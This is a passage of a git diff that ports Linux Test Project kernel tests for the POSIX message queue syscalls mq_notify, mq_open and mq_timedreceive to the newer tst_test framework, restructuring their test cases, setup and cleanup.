+			tst_res(TINFO, "si_signo E:%d,\tR:%d",
+				info.si_signo, SIGUSR1);
+			tst_res(TINFO, "si_value E:0x%x,\tR:0x%x",
+				info.si_value.sival_int, USER_DATA);
+			tst_res(TINFO, "si_pid   E:%d,\tR:%d",
+				info.si_pid, getpid());
+			tst_res(TINFO, "si_uid   E:%d,\tR:%d",
+				info.si_uid, getuid());
+		}
 	}
 
-	while (!notified)
-		usleep(10000);
+	if ((TEST_RETURN != 0 && TEST_ERRNO != tc->err) || !cmp_ok) {
+		tst_res(TFAIL | TTERRNO, "%s r/w check returned: %ld, "
+			"expected: %d, expected errno: %s (%d)", tc->desc,
+			TEST_RETURN, tc->ret, tst_strerrno(tc->err), tc->err);
+	} else {
+		tst_res(TPASS | TTERRNO, "%s returned: %ld",
+			tc->desc, TEST_RETURN);
+	}
 
-TEST_END:
-	/*
-	 * Check results
-	 */
-	result |= (sys_ret != 0 && sys_errno != tc->err) || !cmp_ok;
-	PRINT_RESULT_CMP(sys_ret >= 0, tc->ret, tc->err, sys_ret, sys_errno,
-			 cmp_ok);
-
-EXIT:
+CLEANUP:
 	if (fd >= 0) {
 		close(fd);
 		mq_unlink(QUEUE_NAME);
 	}
-
-	return result;
 }
 
-static void usage(const char *progname)
-{
-	tst_resm(TINFO, "usage: %s [options]", progname);
-	tst_resm(TINFO, "This is a regression test program of %s system call.",
-		 SYSCALL_NAME);
-	tst_resm(TINFO, "options:");
-	tst_resm(TINFO, "    -d --debug	   Show debug messages");
-	tst_resm(TINFO, "    -h --help	    Show this message");
-}
+static struct tst_option options[] = {
+	{"d", &str_debug, "Print debug messages"},
+	{NULL, NULL, NULL}
+};
 
-int main(int ac, char **av)
-{
-	int result = RESULT_OK;
-	int c;
-	int i;
-	int lc;
-
-	struct option long_options[] = {
-		{"debug", no_argument, 0, 'd'},
-		{"help", no_argument, 0, 'h'},
-		{NULL, 0, NULL, 0}
-	};
-
-	progname = basename(av[0]);
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-			TEST(c = getopt_long(ac, av, "dh", long_options, NULL));
-			while (TEST_RETURN != -1) {
-				switch (c) {
-				case 'd':
-					opt_debug = 1;
-					break;
-				default:
-					usage(progname);
-				}
-			}
-
-			if (ac != optind) {
-				tst_resm(TINFO, "Options are not match.");
-				usage(progname);
-			}
-
-			for (i = 0; i < (int)(sizeof(tcase) / sizeof(tcase[0]));
-			     i++) {
-				int ret;
-				tst_resm(TINFO, "(case%02d) START", i);
-				ret = do_test(&tcase[i]);
-				tst_resm(TINFO, "(case%02d) END => %s",
-					 i, (ret == 0) ? "OK" : "NG");
-				result |= ret;
-			}
-
-			switch (result) {
-			case RESULT_OK:
-				tst_resm(TPASS, "mq_notify call succeeded");
-				break;
-
-			default:
-				tst_brkm(TFAIL, cleanup, "mq_notify failed");
-				break;
-			}
-
-		}
-	}
-	cleanup();
-	tst_exit();
-}
+static struct tst_test test = {
+	.tid = "mq_notify01",
+	.tcnt = ARRAY_SIZE(tcase),
+	.test = do_test,
+	.options = options,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/mq_open/mq_open01.c b/testcases/kernel/syscalls/mq_open/mq_open01.c
index f53b4bc..9d2b136 100644
--- a/testcases/kernel/syscalls/mq_open/mq_open01.c
+++ b/testcases/kernel/syscalls/mq_open/mq_open01.c
@@ -1,437 +1,307 @@
-/******************************************************************************/
-/* Copyright (c) Crackerjack Project., 2007-2008 ,Hitachi, Ltd		*/
-/*	  Author(s): Takahiro Yasui <takahiro.yasui.mp@hitachi.com>,	      */
-/*		       Yumiko Sugita <yumiko.sugita.yf@hitachi.com>, 	      */
-/*		       Satoshi Fujiwara <sa-fuji@sdl.hitachi.co.jp>	      */
-/*								  	      */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or	  */
-/* (at your option) any later version.					*/
-/*									    */
-/* This program is distributed in the hope that it will be useful,	    */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of	    */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See		  */
-/* the GNU General Public License for more details.			   */
-/*									    */
-/* You should have received a copy of the GNU General Public License	  */
-/* along with this program;  if not, write to the Free Software	       */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*									    */
-/******************************************************************************/
-/******************************************************************************/
-/*									    */
-/* File:	mq_open01.c						   */
-/*									    */
-/* Description: This tests the mq_open() syscall			      */
-/*									      */
-/* 									      */
-/*									      */
-/*									      */
-/*									      */
-/*									    */
-/* Usage:  <for command-line>						 */
-/* mq_open01 [-c n] [-e][-i n] [-I x] [-p x] [-t]			     */
-/*      where,  -c n : Run n copies concurrently.			     */
-/*	      -e   : Turn on errno logging.				 */
-/*	      -i n : Execute test n times.				  */
-/*	      -I x : Execute test for x seconds.			    */
-/*	      -P x : Pause for x seconds between iterations.		*/
-/*	      -t   : Turn on syscall timing.				*/
-/*									    */
-/* Total Tests: 1							     */
-/*									    */
-/* Test Name:   mq_open01						     */
-/* History:     Porting from Crackerjack to LTP is done by		    */
-/*	      Manas Kumar Nayak maknayak@in.ibm.com>			*/
-/******************************************************************************/
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/uio.h>
-#include <getopt.h>
-#include <stdlib.h>
+/*
+ * Copyright (c) Crackerjack Project., 2007-2008 ,Hitachi, Ltd
+ *          Author(s): Takahiro Yasui <takahiro.yasui.mp@hitachi.com>,
+ *		       Yumiko Sugita <yumiko.sugita.yf@hitachi.com>,
+ *		       Satoshi Fujiwara <sa-fuji@sdl.hitachi.co.jp>
+ * Copyright (c) 2016 Linux Test Project
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write the Free Software Foundation,
+ * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
 #include <errno.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <string.h>
 #include <mqueue.h>
-#include <limits.h>
+#include <pwd.h>
 
-#include "../utils/include_j_h.h"
-#include "../utils/common_j_h.c"
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_posix_ipc.h"
 
-#include "test.h"
-#include "linux_syscall_numbers.h"
+#define QUEUE_NAME	"/test_mqueue"
+#define QUEUE_INIT	"/init_mqueue"
 
-char *TCID = "mq_open01";
-int testno;
-int TST_TOTAL = 1;
+static uid_t euid;
+static struct passwd *pw;
+static char *qname;
+static struct rlimit rlim;
 
-/* Extern Global Functions */
-/******************************************************************************/
-/*									    */
-/* Function:    cleanup						       */
-/*									    */
-/* Description: Performs all one time clean up for this test on successful    */
-/*	      completion,  premature exit or  failure. Closes all temporary */
-/*	      files, removes all temporary directories exits the test with  */
-/*	      appropriate return code by calling tst_exit() function.       */
-/*									    */
-/* Input:       None.							 */
-/*									    */
-/* Output:      None.							 */
-/*									    */
-/* Return:      On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*	      On success - Exits calling tst_exit(). With '0' return code.  */
-/*									    */
-/******************************************************************************/
-void cleanup(void)
-{
+static mqd_t fd, fd2;
+static mqd_t fd3 = -1;
+static int max_queues;
 
-	tst_rmdir();
-}
-
-/* Local  Functions */
-/******************************************************************************/
-/*									    */
-/* Function:    setup							 */
-/*									    */
-/* Description: Performs all one time setup for this test. This function is   */
-/*	      typically used to capture signals, create temporary dirs      */
-/*	      and temporary files that may be used in the course of this    */
-/*	      test.							 */
-/*									    */
-/* Input:       None.							 */
-/*									    */
-/* Output:      None.							 */
-/*									    */
-/* Return:      On failure - Exits by calling cleanup().		      */
-/*	      On success - returns 0.				       */
-/*									    */
-/******************************************************************************/
-void setup(void)
-{
-	tst_require_root();
-
-	/* Capture signals if any */
-	/* Create temporary directories */
-	TEST_PAUSE;
-	tst_tmpdir();
-}
-
-/*
- * Macros
- */
-#define SYSCALL_NAME    "mq_open"
-
-enum test_type {
-	NORMAL,
-	NO_FILE,
-	NO_SPACE,
-};
-
-/*
- * Data Structure
- */
 struct test_case {
-	int ttype;
-	char *user;
+	const char *desc;
 	char *qname;
 	int oflag;
-	long mq_maxmsg;		// Maximum numebr of messages.
-	long mq_msgsize;	// Maximum message size.
+	struct mq_attr *rq;
 	int ret;
 	int err;
+	void (*setup)(void);
+	void (*cleanup)(void);
 };
 
-#define ULIMIT_FNUM     0
 #define PROC_MAX_QUEUES "/proc/sys/fs/mqueue/queues_max"
 
-/* Test cases
- *
- *   test status of errors on man page
- *
- *   EACCES	     v (permission is denied)
- *   EEXIST	     v (named message queue already exists)
- *   EINTR	      --- (interrupted by a signal)
- *   EINVAL	     v (not supported for the given name, or invalid
- *			 arguments)
- *   EMFILE	     v (process file table overflow)
- *   ENAMETOOLONG       v (too long name length)
- *   ENFILE	     can't check because it's difficult to create no-fd
- *   ENOENT	     v (O_CREAT is not set and the named message queue
- *			 does not exist)
- *   ENOSPC	     v (no space for the new message queue)
- */
+static void create_queue(void);
+static void unlink_queue(void);
+static void set_rlimit(void);
+static void restore_rlimit(void);
+static void set_max_queues(void);
+static void restore_max_queues(void);
 
 static struct test_case tcase[] = {
-#if 1
-	{			// case00
-	 .ttype = NORMAL,
-	 .qname = QUEUE_NAME,
-	 .oflag = O_CREAT,
-	 .mq_maxmsg = 20,
-	 .mq_msgsize = 16384,
-	 .ret = 0,
-	 .err = 0,
-	 },
-#else
-	{			// case00
-	 .ttype = NORMAL,
-	 .qname = QUEUE_NAME,
-	 .oflag = O_CREAT,
-	 .ret = 0,
-	 .err = 0,
-	 },
-	{			// case01
-	 .ttype = NORMAL,
-	 //  0    1       2       3
-	 //  0123456789012345678901234567890123456789
-	 "aaaaaaaaaaaaaaa",
-	 .oflag = O_CREAT,
-	 .ret = 0,
-	 .err = 0,
-	 },
-	{			// case02
-	 .ttype = NORMAL,
-	 //  0    1       2       3
-	 //  0123456789012345678901234567890123456789
-	 "aaaaaaaaaaaaaaaa",
-	 .oflag = O_CREAT,
-	 .ret = -1,
-	 .err = ENAMETOOLONG,
-	 },
+	{
+		.desc = "NORMAL",
+		.qname = QUEUE_NAME,
+		.oflag = O_CREAT,
+		.rq = &(struct mq_attr){.mq_maxmsg = 20, .mq_msgsize = 16384},
+		.ret = 0,
+		.err = 0,
+	},
+	{
+		.desc = "NORMAL",
+		.qname = QUEUE_NAME,
+		.oflag = O_CREAT,
+		.ret = 0,
+		.err = 0,
+	},
+	{
+		.desc = "NORMAL",
+		.qname = "/caaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaa",
+		.oflag = O_CREAT,
+		.ret = 0,
+		.err = 0,
+	},
+	{
+		.desc = "NORMAL",
+		.qname = "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaa",
+		.oflag = O_CREAT,
+		.ret = -1,
+		.err = ENAMETOOLONG,
+	},
 
-	{			// case03
-	 .ttype = NORMAL,
-	 .qname = "",
-	 .oflag = O_CREAT,
-	 .ret = -1,
-	 .err = EINVAL,
-	 },
-	{			// case04
-	 .ttype = NORMAL,
-	 .user = "nobody",
-	 .qname = QUEUE_NAME,
-	 .ret = -1,
-	 .err = EACCES,
-	 },
-	{			// case05
-	 .ttype = NORMAL,
-	 .qname = QUEUE_NAME,
-	 .oflag = O_CREAT | O_EXCL,
-	 .ret = -1,
-	 .err = EEXIST,
-	 },
-	{			// case06
-	 .ttype = NO_FILE,
-	 .qname = QUEUE_NAME,
-	 .oflag = O_CREAT,
-	 .ret = -1,
-	 .err = EMFILE,
-	 },
-	{			// case07
-	 .ttype = NORMAL,
-	 .qname = "/notexist",
-	 .oflag = 0,
-	 .ret = -1,
-	 .err = ENOENT,
-	 },
-
-	{			// case08
-	 .ttype = NO_SPACE,
-	 .user = "nobody",
-	 .qname = QUEUE_NAME,
-	 .oflag = O_CREAT,
-	 .ret = -1,
-	 .err = ENOSPC,
-	 },
-#endif
+	{
+		.desc = "NORMAL",
+		.qname = "",
+		.oflag = O_CREAT,
+		.ret = -1,
+		.err = EINVAL,
+	},
+	{
+		.desc = "NORMAL",
+		.qname = QUEUE_NAME,
+		.ret = -1,
+		.err = EACCES,
+		.setup = create_queue,
+		.cleanup = unlink_queue,
+	},
+	{
+		.desc = "NORMAL",
+		.qname = QUEUE_NAME,
+		.oflag = O_CREAT | O_EXCL,
+		.ret = -1,
+		.err = EEXIST,
+		.setup = create_queue,
+		.cleanup = unlink_queue,
+	},
+	{
+		.desc = "NO_FILE",
+		.qname = QUEUE_NAME,
+		.oflag = O_CREAT,
+		.ret = -1,
+		.err = EMFILE,
+		.setup = set_rlimit,
+		.cleanup = restore_rlimit,
+	},
+	{
+		.desc = "NORMAL",
+		.qname = "/notexist",
+		.oflag = 0,
+		.ret = -1,
+		.err = ENOENT,
+	},
+	{
+		.desc = "NO_SPACE",
+		.qname = QUEUE_NAME,
+		.oflag = O_CREAT,
+		.ret = -1,
+		.err = ENOSPC,
+		.setup = set_max_queues,
+		.cleanup = restore_max_queues,
+	}
 };
 
-/*
- * do_test()
- *
- *   Input  : TestCase Data
- *   Return : RESULT_OK(0), RESULT_NG(1)
- *
- */
-
-static int do_test(struct test_case *tc)
+static void create_queue(void)
 {
-	int sys_ret;
-	int sys_errno;
-	int result = RESULT_OK;
-	int rc, fd1 = -1, fd2 = -1, cmp_ok = 1;
-	uid_t old_uid = -1;
-	rlim_t oldlim = -1;
-	int oldval = -1;
-	struct mq_attr new, old, *p_attr;
+	fd2 = SAFE_MQ_OPEN(QUEUE_NAME, O_CREAT | O_EXCL | O_RDWR, S_IRWXU, NULL);
 
-	/*
-	 * When test ended with SIGTERM etc, mq discriptor is left remains.
-	 * So we delete it first.
-	 */
-	TEST(mq_unlink(QUEUE_NAME));
+	SAFE_SETEUID(pw->pw_uid);
+}
 
-	/*
-	 * Execute system call
-	 */
+static void unlink_queue(void)
+{
+	SAFE_SETEUID(euid);
+	if (fd2 > 0)
+		SAFE_CLOSE(fd2);
 
-	if (tc->ttype != NO_SPACE && !(tc->oflag & O_CREAT)) {
-		errno = 0;
-		TEST(sys_ret =
-		     mq_open(QUEUE_NAME, O_CREAT | O_EXCL | O_RDWR, S_IRWXU,
-			     NULL));
-		sys_errno = errno;
-		if (sys_ret < 0)
-			goto TEST_END;
-		fd1 = sys_ret;
+	if (mq_unlink(QUEUE_NAME))
+		tst_brk(TBROK | TERRNO, "mq_close(" QUEUE_NAME ") failed");
+}
+
+
+static void set_max_queues(void)
+{
+	SAFE_FILE_SCANF(PROC_MAX_QUEUES, "%d", &max_queues);
+	SAFE_FILE_PRINTF(PROC_MAX_QUEUES, "%d", 1);
+
+	SAFE_SETEUID(pw->pw_uid);
+}
+
+static void restore_max_queues(void)
+{
+	SAFE_SETEUID(euid);
+
+	SAFE_FILE_PRINTF(PROC_MAX_QUEUES, "%d", max_queues);
+}
+
+static void set_rlimit(void)
+{
+	if (rlim.rlim_cur > 0) {
+		struct rlimit r;
+		r.rlim_cur = 0;
+		r.rlim_max = rlim.rlim_max;
+		SAFE_SETRLIMIT(RLIMIT_NOFILE, &r);
 	}
-	if (tc->ttype == NO_FILE) {
-		TEST(rc = setup_ulimit_fnum(ULIMIT_FNUM, &oldlim));
-		if (rc < 0) {
-			result = 1;
-			goto EXIT;
+}
+
+static void restore_rlimit(void)
+{
+	SAFE_SETRLIMIT(RLIMIT_NOFILE, &rlim);
+}
+
+static void setup(void)
+{
+	euid = geteuid();
+	pw = SAFE_GETPWNAM("nobody");
+	SAFE_GETRLIMIT(RLIMIT_NOFILE, &rlim);
+
+	fd3 = SAFE_MQ_OPEN(QUEUE_INIT, O_CREAT | O_EXCL | O_RDWR, S_IRWXU, NULL);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		mq_close(fd);
+
+	if (fd2 > 0)
+		mq_close(fd2);
+
+	if (fd3 > 0 && mq_close(fd3))
+		tst_res(TWARN | TERRNO, "mq_close(%s) failed", QUEUE_INIT);
+
+	if (mq_unlink(QUEUE_INIT))
+		tst_res(TWARN | TERRNO, "mq_unlink(%s) failed", QUEUE_INIT);
+
+	mq_unlink(qname);
+}
+
+static void do_test(unsigned int i)
+{
+	struct test_case *tc = &tcase[i];
+	struct mq_attr oldattr;
+
+	qname = tc->qname;
+	fd = fd2 = -1;
+
+	tst_res(TINFO, "queue name \"%s\"", qname);
+
+	if (tc->setup)
+		tc->setup();
+
+	TEST(fd = mq_open(qname, tc->oflag, S_IRWXU, tc->rq));
+
+	if (fd > 0 && tc->rq) {
+		if (mq_getattr(fd, &oldattr) < 0) {
+			tst_res(TFAIL | TERRNO, "mq_getattr failed");
+			goto CLEANUP;
+		}
+
+		if (oldattr.mq_maxmsg != tc->rq->mq_maxmsg
+			|| oldattr.mq_msgsize != tc->rq->mq_msgsize) {
+			tst_res(TFAIL, "wrong mq_attr: "
+				"mq_maxmsg expected %ld return %ld, "
+				"mq_msgsize expected %ld return %ld",
+				tc->rq->mq_maxmsg, oldattr.mq_maxmsg, tc->rq->mq_msgsize,
+				oldattr.mq_msgsize);
+			goto CLEANUP;
 		}
 	}
 
-	/*
-	 * Change /proc/sys/fs/mqueue/queues_max
-	 */
-	if (tc->ttype == NO_SPACE) {
-		TEST(rc = setup_proc_fs(PROC_MAX_QUEUES, 0, &oldval));
-		if (rc < 0) {
-			result = 1;
-			goto EXIT;
-		}
-	}
-
-	/*
-	 * Change effective user id
-	 */
-	if (tc->user != NULL) {
-		TEST(rc = setup_euid(tc->user, &old_uid));
-		if (rc < 0) {
-			result = 1;
-			goto EXIT;
-		}
-	}
-
-	/*
-	 * Execute system call
-	 */
-	//tst_resm(TINFO,"PATH_MAX: %d\n", PATH_MAX);
-	//tst_resm(TINFO,"NAME_MAX: %d", NAME_MAX);
-	p_attr = NULL;
-	if (tc->mq_maxmsg || tc->mq_msgsize) {
-		new.mq_maxmsg = tc->mq_maxmsg;
-		new.mq_msgsize = tc->mq_msgsize;
-		p_attr = &new;
-	}
-	errno = 0;
-	if (tc->oflag & O_CREAT)
-		TEST(sys_ret = mq_open(tc->qname, tc->oflag, S_IRWXU, p_attr));
-	else
-		TEST(sys_ret = mq_open(tc->qname, tc->oflag));
-	sys_errno = errno;
-	if (sys_ret < 0)
-		goto TEST_END;
-	fd2 = sys_ret;
-
-	if (p_attr) {
-		TEST(rc = ltp_syscall(__NR_mq_getsetattr, fd2, NULL, &old));
+	if (tc->ret == 0) {
 		if (TEST_RETURN < 0) {
-			tst_resm(TFAIL,
-				 "mq_getsetattr failed - errno = %d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			result = 1;
-			goto EXIT;
+			tst_res(TFAIL | TTERRNO, "%s wrong return code: %ld",
+				tc->desc, TEST_RETURN);
+		} else {
+			tst_res(TPASS | TTERRNO, "%s returned: %ld",
+				tc->desc, TEST_RETURN);
 		}
-		tst_resm(TINFO, "mq_maxmsg E:%ld,\tR:%ld", new.mq_maxmsg,
-			 old.mq_maxmsg);
-		tst_resm(TINFO, "mq_msgsize E:%ld,\tR:%ld", new.mq_msgsize,
-			 old.mq_msgsize);
-		cmp_ok = old.mq_maxmsg == new.mq_maxmsg
-		    && old.mq_msgsize == new.mq_msgsize;
+
+		goto CLEANUP;
 	}
 
-TEST_END:
-	/*
-	 * Check results
-	 */
-	result |= (sys_errno != tc->err) || !cmp_ok;
-	PRINT_RESULT_CMP(sys_ret >= 0, tc->ret, tc->err, sys_ret, sys_errno,
-			 cmp_ok);
-
-EXIT:
-	if (tc->user != NULL && old_uid != -1)
-		TEST(cleanup_euid(old_uid));
-
-	if (tc->ttype == NO_SPACE && oldval != -1)
-		TEST(cleanup_proc_fs(PROC_MAX_QUEUES, oldval));
-
-	if (tc->ttype == NO_FILE && oldlim != -1)
-		TEST(cleanup_ulimit_fnum(oldlim));
-	if (fd1 >= 0)
-		TEST(close(fd1));
-	if (fd2 >= 0)
-		TEST(close(fd2));
-	if (fd1 >= 0)
-		TEST(mq_unlink(QUEUE_NAME));
-	if (fd2 >= 0 && strcmp(tc->qname, QUEUE_NAME) != 0)
-		TEST(mq_unlink(tc->qname));
-
-	return result;
-}
-
-/*
- * main()
- */
-
-int main(int ac, char **av)
-{
-	int result = RESULT_OK;
-	int i;
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-
-			/*
-			 * Execute test
-			 */
-			for (i = 0; i < (int)ARRAY_SIZE(tcase); i++) {
-				int ret;
-				tst_resm(TINFO, "(case%02d) START", i);
-				ret = do_test(&tcase[i]);
-				tst_resm(TINFO, "(case%02d) END => %s", i,
-					 (ret == 0) ? "OK" : "NG");
-				result |= ret;
-			}
-
-			/*
-			 * Check results
-			 */
-			switch (result) {
-			case RESULT_OK:
-				tst_resm(TPASS, "mq_open call succeeded ");
-				break;
-
-			default:
-				tst_brkm(TFAIL | TTERRNO, cleanup,
-					 "mq_open failed");
-				break;
-			}
-
-		}
+	if (TEST_ERRNO != tc->err) {
+		tst_res(TFAIL | TTERRNO, "%s expected errno: %d",
+			tc->desc, TEST_ERRNO);
+		goto CLEANUP;
 	}
-	cleanup();
-	tst_exit();
+
+	if (TEST_RETURN != tc->ret) {
+		tst_res(TFAIL | TTERRNO, "%s wrong return code: %ld",
+			tc->desc, TEST_RETURN);
+	} else {
+		tst_res(TPASS | TTERRNO, "%s returned: %ld",
+			tc->desc, TEST_RETURN);
+	}
+
+CLEANUP:
+	if (tc->cleanup)
+		tc->cleanup();
+
+	if (TEST_RETURN != -1) {
+		if (fd > 0)
+			SAFE_CLOSE(fd);
+		mq_unlink(qname);
+	}
 }
+
+static struct tst_test test = {
+	.tid = "mq_open01",
+	.tcnt = ARRAY_SIZE(tcase),
+	.test = do_test,
+	.needs_root = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/mq_timedreceive/mq_timedreceive01.c b/testcases/kernel/syscalls/mq_timedreceive/mq_timedreceive01.c
index b524e45..32ab7a1 100644
--- a/testcases/kernel/syscalls/mq_timedreceive/mq_timedreceive01.c
+++ b/testcases/kernel/syscalls/mq_timedreceive/mq_timedreceive01.c
@@ -1,478 +1,321 @@
-/******************************************************************************/
-/* Copyright (c) Crackerjack Project., 2007-2008 ,Hitachi, Ltd		*/
-/*	  Author(s): Takahiro Yasui <takahiro.yasui.mp@hitachi.com>,	      */
-/*		       Yumiko Sugita <yumiko.sugita.yf@hitachi.com>, 	      */
-/*		       Satoshi Fujiwara <sa-fuji@sdl.hitachi.co.jp>	      */
-/*								  	      */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or	  */
-/* (at your option) any later version.					*/
-/*									    */
-/* This program is distributed in the hope that it will be useful,	    */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of	    */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See		  */
-/* the GNU General Public License for more details.			   */
-/*									    */
-/* You should have received a copy of the GNU General Public License	  */
-/* along with this program;  if not, write to the Free Software	       */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*									    */
-/******************************************************************************/
-/******************************************************************************/
-/*									    */
-/* File:	mq_timedreceive01.c					   */
-/*									    */
-/* Description: This tests the mq_timedreceive() syscall		      */
-/*									      */
-/* 									      */
-/*									      */
-/*									      */
-/*									      */
-/*									    */
-/* Usage:  <for command-line>						 */
-/* mq_timedreceive01 [-c n] [-e][-i n] [-I x] [-p x] [-t]		     */
-/*      where,  -c n : Run n copies concurrently.			     */
-/*	      -e   : Turn on errno logging.				 */
-/*	      -i n : Execute test n times.				  */
-/*	      -I x : Execute test for x seconds.			    */
-/*	      -P x : Pause for x seconds between iterations.		*/
-/*	      -t   : Turn on syscall timing.				*/
-/*									    */
-/* Total Tests: 1							     */
-/*									    */
-/* Test Name:   mq_timedreceive01					     */
-/* History:     Porting from Crackerjack to LTP is done by		    */
-/*	      Manas Kumar Nayak maknayak@in.ibm.com>			*/
-/******************************************************************************/
-#define _XOPEN_SOURCE 600
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/wait.h>
-#include <getopt.h>
-#include <libgen.h>
-#include <stdlib.h>
+/*
+ * Copyright (c) Crackerjack Project., 2007-2008 ,Hitachi, Ltd
+ *          Author(s): Takahiro Yasui <takahiro.yasui.mp@hitachi.com>,
+ *		       Yumiko Sugita <yumiko.sugita.yf@hitachi.com>,
+ *		       Satoshi Fujiwara <sa-fuji@sdl.hitachi.co.jp>
+ * Copyright (c) 2016-2017 Linux Test Project
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write the Free Software Foundation,
+ * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
 #include <errno.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <string.h>
-#include <mqueue.h>
-#include <time.h>
-#include <signal.h>
 #include <limits.h>
+#include <mqueue.h>
 
-#include "../utils/include_j_h.h"
-#include "../utils/common_j_h.c"
+#include "tst_test.h"
+#include "tst_sig_proc.h"
+#include "tst_safe_posix_ipc.h"
 
-#include "test.h"
-#include "linux_syscall_numbers.h"
+static struct sigaction act;
+static pid_t pid;
+static int fd, fd_root;
+static struct timespec timeout_ts;
+static struct timespec eintr_ts;
 
-char *TCID = "mq_timedreceive01";
-int testno;
-int TST_TOTAL = 1;
-struct sigaction act;
-
-/*
- * sighandler()
- */
-void sighandler(int sig)
-{
-	if (sig == SIGINT)
-		return;
-
-	return;
-}
-
-/* Extern Global Functions */
-/******************************************************************************/
-/*									    */
-/* Function:    cleanup						       */
-/*									    */
-/* Description: Performs all one time clean up for this test on successful    */
-/*	      completion,  premature exit or  failure. Closes all temporary */
-/*	      files, removes all temporary directories exits the test with  */
-/*	      appropriate return code by calling tst_exit() function.       */
-/*									    */
-/* Input:       None.							 */
-/*									    */
-/* Output:      None.							 */
-/*									    */
-/* Return:      On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*	      On success - Exits calling tst_exit(). With '0' return code.  */
-/*									    */
-/******************************************************************************/
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
-
-/* Local  Functions */
-/******************************************************************************/
-/*									    */
-/* Function:    setup							 */
-/*									    */
-/* Description: Performs all one time setup for this test. This function is   */
-/*	      typically used to capture signals, create temporary dirs      */
-/*	      and temporary files that may be used in the course of this    */
-/*	      test.							 */
-/*									    */
-/* Input:       None.							 */
-/*									    */
-/* Output:      None.							 */
-/*									    */
-/* Return:      On failure - Exits by calling cleanup().		      */
-/*	      On success - returns 0.				       */
-/*									    */
-/******************************************************************************/
-void setup(void)
-{
-	/* Capture signals if any */
-	act.sa_handler = sighandler;
-	sigfillset(&act.sa_mask);
-	sigaction(SIGINT, &act, NULL);
-	/* Create temporary directories */
-	TEST_PAUSE;
-	tst_tmpdir();
-}
-
-/*
- * Macros
- */
-#define SYSCALL_NAME    "mq_timedreceive"
-
-enum test_type {
-	NORMAL,
-	FD_NONE,
-	FD_NOT_EXIST,
-	FD_FILE,
-	INVALID_MSG_LEN,
-	EMPTY_QUEUE,
-	SEND_SIGINT,
-};
-
-/*
- * Data Structure
- */
 struct test_case {
-	int ttype;
-	int non_block;
 	int len;
 	unsigned prio;
-	time_t sec;
-	long nsec;
+	struct timespec *rq;
+	int fd;
+	int invalid_msg;
+	int send;
 	int ret;
 	int err;
+	void (*setup)(void);
+	void (*cleanup)(void);
 };
 
-#define MAX_MSG	 10
 #define MAX_MSGSIZE     8192
 
-/* Test cases
- *
- *   test status of errors on man page
- *
- *   EAGAIN	     v (would block)
